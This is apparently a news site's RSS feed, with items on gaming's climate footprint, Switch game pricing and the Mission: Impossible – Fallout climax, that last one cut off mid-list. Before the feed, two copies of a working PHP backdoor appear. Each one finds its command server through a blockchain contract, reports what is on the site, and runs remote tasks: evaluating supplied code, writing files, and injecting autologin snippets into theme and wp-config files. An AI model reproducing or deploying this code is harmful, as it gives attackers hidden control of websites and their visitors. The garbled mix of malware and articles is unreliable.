// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Examining – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 05 Sep 2022 14:13:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Examining – Brief News https://briefnews.eu 32 32 Examining the game industry’s hidden impacts on climate change https://briefnews.eu/examining-the-game-industrys-hidden-impacts-on-climate-change/ https://briefnews.eu/examining-the-game-industrys-hidden-impacts-on-climate-change/#respond Mon, 05 Sep 2022 14:13:00 +0000 https://briefnews.eu/examining-the-game-industrys-hidden-impacts-on-climate-change/
Water water everywhere, and all the [circuit] boards did shrink...

Enlarge / Water water everywhere, and all the [circuit] boards did shrink… (credit: Getty Images | Aurich Lawson)

Amid the stress of living on a warming planet, playing video games is an escape for billions. Whether you’re inhaling mystical doodads in Kirby and the Forgotten Land or cruising through Guanajuato in Forza Horizon 5, games offer a digital retreat that feeds our fundamental need to play.

Unfortunately, the scope of climate change is such that we will need to rethink almost every element of global society—including the game industry.

Ben Abraham has been thinking about the need for that kind of change for a long time. Speaking with Ars, Abraham recalled how, as a teenager, the top floor of his parents’ split-level Australian home would become a grueling sauna thanks to a combination of the summer sun outside and a gaming PC (with cathode ray tube monitor) hemorrhaging heat inside.

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]]> https://briefnews.eu/examining-the-game-industrys-hidden-impacts-on-climate-change/feed/ 0 Examining why Switch games cost more than their PC counterparts https://briefnews.eu/examining-why-switch-games-cost-more-than-their-pc-counterparts/ https://briefnews.eu/examining-why-switch-games-cost-more-than-their-pc-counterparts/#respond Mon, 27 Aug 2018 01:59:17 +0000 http://briefnews.eu/examining-why-switch-games-cost-more-than-their-pc-counterparts/

We appreciate your business. Ya-hoo!

We appreciate your business. Ya-hoo! (credit: Nintendo)

After initially struggling to attract wider support from third-party developers, the Switch library is now absolutely filled with ports of big-budget and indie games available on other platforms. However, some Switch players have started to notice that those ports often come at a pricing premium when purchased on Nintendo’s console.

The folks over at Switch blog Switcher decided to quantify how much that “Switch tax” costs while building their own database of Switch games. Their analysis found that, of 471 games being sold on both Steam and Switch, the downloadable Switch versions cost just over 10 percent more on average.

That average obscures a wide range of price discrepancies, of course, including some that end up in the Switch’s favor. In fact, a majority of titles listed on both platforms (55.8 percent) sell for the exact same price on both, and an additional 8.9 percent are cheaper on Nintendo’s eShop.

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]]> https://briefnews.eu/examining-why-switch-games-cost-more-than-their-pc-counterparts/feed/ 0 Examining, Beat by Beat, Why the Climax of ‘Mission: Impossible – Fallout’ Works So Well https://briefnews.eu/examining-beat-by-beat-why-the-climax-of-mission-impossible-fallout-works-so-well/ https://briefnews.eu/examining-beat-by-beat-why-the-climax-of-mission-impossible-fallout-works-so-well/#respond Thu, 23 Aug 2018 17:11:47 +0000 http://briefnews.eu/examining-beat-by-beat-why-the-climax-of-mission-impossible-fallout-works-so-well/

Mission: Impossible – Fallout has been hailed as an instant all-time action classic. Its story moves forwards with relentless determination, while Christopher McQuarrie’s direction and Tom Cruise’s apparent death wish provide jaw-dropping stunt spectacle. It’s edited to near-perfection, constantly escalating the stakes until it hits a climax that’s nail-biting even despite concluding with a hackneyed cliché.

That climax is a perfect microcosm of the film as a whole. In around 15 minutes of screentime – time-kept by a nuclear countdown – it tells its own self-contained story within a story. Fallout’s Kashmir setpiece is masterful parallel-action storytelling, worthy of placement up there with Raiders of the Lost Ark, Return of the Jedi, and Mad Max: Fury Road. Strap yourselves in, because we’re going to dive deep into what makes this incredible sequence tick.

Major spoilers, obviously, follow.

The sequence in question is made up of three discrete but intertwined subplots, led by three sets of characters. The setup: villain Solomon Lane has set two nuclear bombs in a medical camp in Kashmir, the detonation of which would contaminate a third of the world’s water supply, and it’s up to Ethan Hunt (Cruise) and his team to stop him. In order to do so, they’ll have to locate and disarm both bombs, and locate and remove the arming key from the remote detonator, held by turncoat August Walker (Henry Cavill and his moustache). Once the countdown begins, three objectives must be achieved, and three sub-sequences commence.

Fallout team

The Functional Setpiece

Before we get into how the sequence plays out, let’s discuss the function of each sub-sequence. We’ll see that while one overshadows the others in terms of “wow” factor, the sequence as a whole relies on all three working in concert.

The most ostentatious throughline here (and possibly in the entire franchise) belongs to Cruise’s alter ego, Ethan Hunt. Hunt takes the task of retrieving the detonator from Walker, which involves boarding a helicopter, flying it in pursuit of Walker’s, crashing both helicopters, fighting Walker on a mountaintop, and finally struggling up a sheer cliff to the detonator. Our boy has a lot to deal with.

Plot-wise, Ethan has to remove the detonator’s arming key for any bomb-disarming. But doing so also completes a character arc. The whole operation functions on trust, and Ethan finally gets to face off against his tactical and physical opposite in Walker: an enemy that has thus far not only evaded him, but worse, annoyed him. Making it all the sweeter: Walker doesn’t know of Ethan’s plans, likely just believing him to be a psychopath thirsty for revenge. And obviously, Ethan’s activities – and Cruise’s piloting – provide the huge action, physical suspense, and unexpected laughs we’ve come to expect.

Second: tech wizard Benji Dunn (Simon Pegg) and MI6 agent Ilsa Faust (Rebecca Ferguson) attempting to locate and disarm one of the bombs. This entails a frantic hunt through the medical camp for the bomb’s radioactive signature – tricky in itself, given the surrounding medical equipment’s own radioactivity – and ultimately a showdown with Solomon, before the bomb can be disarmed.

The tone here is actually more frenzied than Ethan’s helicopter excursion. The threat of death in this sequence is much more personal and relatable, given that most people have choked and not many have been in helicopter crashes. Solomon’s fight scene is claustrophobic and intense, the search for the bomb panicked, and the implications of failure made all the clearer. What’s more, it’s a chance for Ilsa to finally capture Solomon – the target that would free her from the spy game once and for all.

Finally: Luther Stickell (Ving Rhames) disarming the other bomb, with an unexpected helping hand from Ethan’s former wife, Julia. Where Ethan’s arc offers spectacle, and Ilsa’s urgency, Luther’s scenes offer something just as important: stillness. It’s really Luther who’s coordinating everything, and he does it with calm, unshakeable faith in Ethan. His dialogue with Julia, too, reminds us of the human side of these characters. As the only two not involved in fistfights, Luther and Julia actually contend mentally with the prospect of point-blank nuclear incineration. These moments allow the audience to catch a much-needed breath – all while ramping up the emotional stakes.

mission impossible fallout trailer

Yesses and Noes

Any story is more or less a series of reversals. The heroes advance; the bad guys beat them back. The villains get to the edge of winning, then the heroes do something clever to stop them, but it goes wrong, but it creates another opportunity. And so on, each beat causing the next. Mission Impossible: Fallout does this on a macro story level, and the climax mirrors that on a moment-to-moment basis.

To illustrate: let’s go through the whole sequence, beat by beat. [Bold = Ethan and Walker; Italic = Benji and Ilsa; Plain text = Luther and Julia.]

***

NO: The countdown begins.

YES: Luther begins disarming the first bomb as Ethan drives towards the helicopters.

NO: The helicopters take off.

YES: Ethan grabs onto the chopper’s payload, being hoisted into the air.

NO: Benji and Ilsa struggle to find the second bomb, while Luther struggles to disarm the first.

YES: Ethan reaches the top of the rope.

NO: He slips and falls.

YES: He catches himself on the payload, dangling precariously.

NO: Julia joins Luther, putting herself in harm’s way.

YES: She offers to help, and begins assisting Luther in disarming the bomb.

YES: Ethan gets on board the helicopter, giving its pilot and passenger a swift, manual ejection.

NO: Without a pilot, the chopper spirals towards the ground.

YES: Ethan grabs the joystick and pulls the helicopter back up.

NO: Over the radio, Benji confirms Ethan can’t fly a helicopter, and indeed, his craft’s payload gets stuck in the forest canopy.

YES: Ethan hatches a plan to hit Walker’s helicopter with the payload.

sequel bits fallout

NO: 11 minutes remain on the countdown timer.

YES: Luther and Julia resolve an issue over left and right.

NO: Ethan misses Walker’s helicopter with the payload.

YES: Ethan comes into eye contact with Walker. “That’s right…prick.”

NO: Walker pulls out an enormous gatling gun.

YES: Ethan evades being shot.

NO: In his manoeuvring, Ethan loses control of the helicopter.

NO: Benji and Ilsa are stuck, surrounded by radioactive signatures that aren’t the bomb.

YES: Ilsa has an idea, and heads elsewhere to search for the bomb.

NO: Benji discovers a massive room full of locked cases, any of which could be the bomb.

NO: Walker’s machine gun fire hits Ethan’s chopper, which starts smoking.

YES: Ilsa discovers Solomon in his hut, chasing after him.

NO: Benji breaks open the largest case, but the bomb isn’t in there.

YES: Ilsa discovers the actual bomb.

NO: Solomon attacks Ilsa, knocking her down.

Mission Impossible Fallout Stunt Video

YES: Ethan uses a cloud formation to disorient the pilot of Walker’s helicopter.

YES: Walker runs out of ammunition for his machine gun.

NO: 7:30 on the clock. Luther accidentally reveals to a highly-concerned Julia that there’s a second bomb.

NO: Ilsa is now tied up, being taunted by Solomon.

YES: Benji arrives in search of Ilsa.

NO: Solomon attacks Benji, quickly overpowering him.

YES: Ilsa starts trying to get free of her bonds.

NO: Ethan’s helicopter catches fire.

NO: Solomon hoists Benji up by his neck.

YES: Ilsa breaks the chair she’s tied to, kicking a box to Benji for him to stand on.

NO: Alerts sound in Ethan’s helicopter.

YES: Ethan rams his chopper at Walker’s.

NO: They both crash into the side of the mountain, rolling towards a cliff edge.

YES: Ethan’s helicopter is caught by a rock right on the edge.

NO: 6:00 on the clock. In the fight with Solomon, Benji kicks Solomon and falls off his box, choking again.

YES: Ilsa gets on top of Solomon, choking him out.

NO: Benji starts to pass out.

